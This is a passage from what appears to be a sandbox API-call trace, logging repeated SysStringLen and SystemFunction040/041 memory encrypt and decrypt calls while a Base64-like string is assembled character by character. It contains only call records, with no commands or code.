(param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.079] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0135.079] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.079] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0135.079] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.080] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0135.080] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0135.080] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.080] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0135.080] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.080] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0135.080] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0135.080] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.080] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0135.080] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.080] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0135.080] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0135.080] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.080] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0135.080] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.080] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0135.080] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0135.080] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.081] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0135.081] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.081] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0135.081] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0135.081] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.081] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0135.081] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.081] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0135.081] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0135.081] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.081] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0135.081] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.081] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0135.081] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0135.081] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.081] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0135.081] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.081] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.082] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.082] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.082] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0135.082] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.082] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0135.082] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.082] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0135.082] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0135.082] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.082] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0135.082] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.082] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0135.082] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0135.082] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.082] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0135.082] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.082] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0135.083] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0135.083] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.083] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0135.083] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.083] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0135.083] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0135.083] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.083] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0135.083] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.083] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0135.083] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0135.083] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.084] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0135.084] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.084] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0135.084] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0135.084] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.084] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0135.084] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.084] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0135.084] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0135.085] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.085] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0135.085] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.085] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.085] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.085] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.085] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0135.085] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.085] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0135.085] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.085] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0135.085] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0135.085] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.085] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0135.085] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.085] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0135.085] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0135.085] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.085] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0135.085] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.085] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0135.085] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0135.085] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.086] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0135.086] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.086] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0135.086] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0135.086] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.086] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0135.086] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.086] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0135.086] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0135.086] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.086] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0135.086] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.086] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0135.086] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0135.086] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.086] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0135.086] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.086] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0135.086] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0135.086] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.086] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0135.086] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.086] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.087] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.087] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.087] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0135.087] SystemFunction041 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.087] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0135.087] SystemFunction040 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.087] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0135.087] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0135.087] SystemFunction041 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.087] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0135.087] SystemFunction040 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.087] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0135.087] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0135.087] SystemFunction041 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.087] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0135.087] SystemFunction040 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.087] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0135.087] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0135.087] SystemFunction041 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.087] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0135.087] SystemFunction040 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.087] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0135.087] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0135.087] 